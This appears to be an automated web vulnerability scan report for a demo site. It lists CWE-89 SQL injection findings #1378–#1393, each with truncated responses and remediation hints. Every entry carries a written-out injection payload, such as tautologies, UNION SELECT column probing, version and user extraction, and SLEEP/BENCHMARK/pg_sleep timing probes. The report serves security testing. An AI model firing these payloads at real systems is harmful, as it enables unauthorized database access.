CWE-ID CWE-89
Issue Number #1378
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1379
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# test%20UNION%20select%201,%20@@version,%201,%
201;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1380
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1381
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or ('1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1382Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(
500000000/2))))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1383
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1384
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" or "1"="1"--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1385
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1386
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " or ""-"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1387
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1388
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or '1'='1'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1389
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1390
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1391
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1392
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1393
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
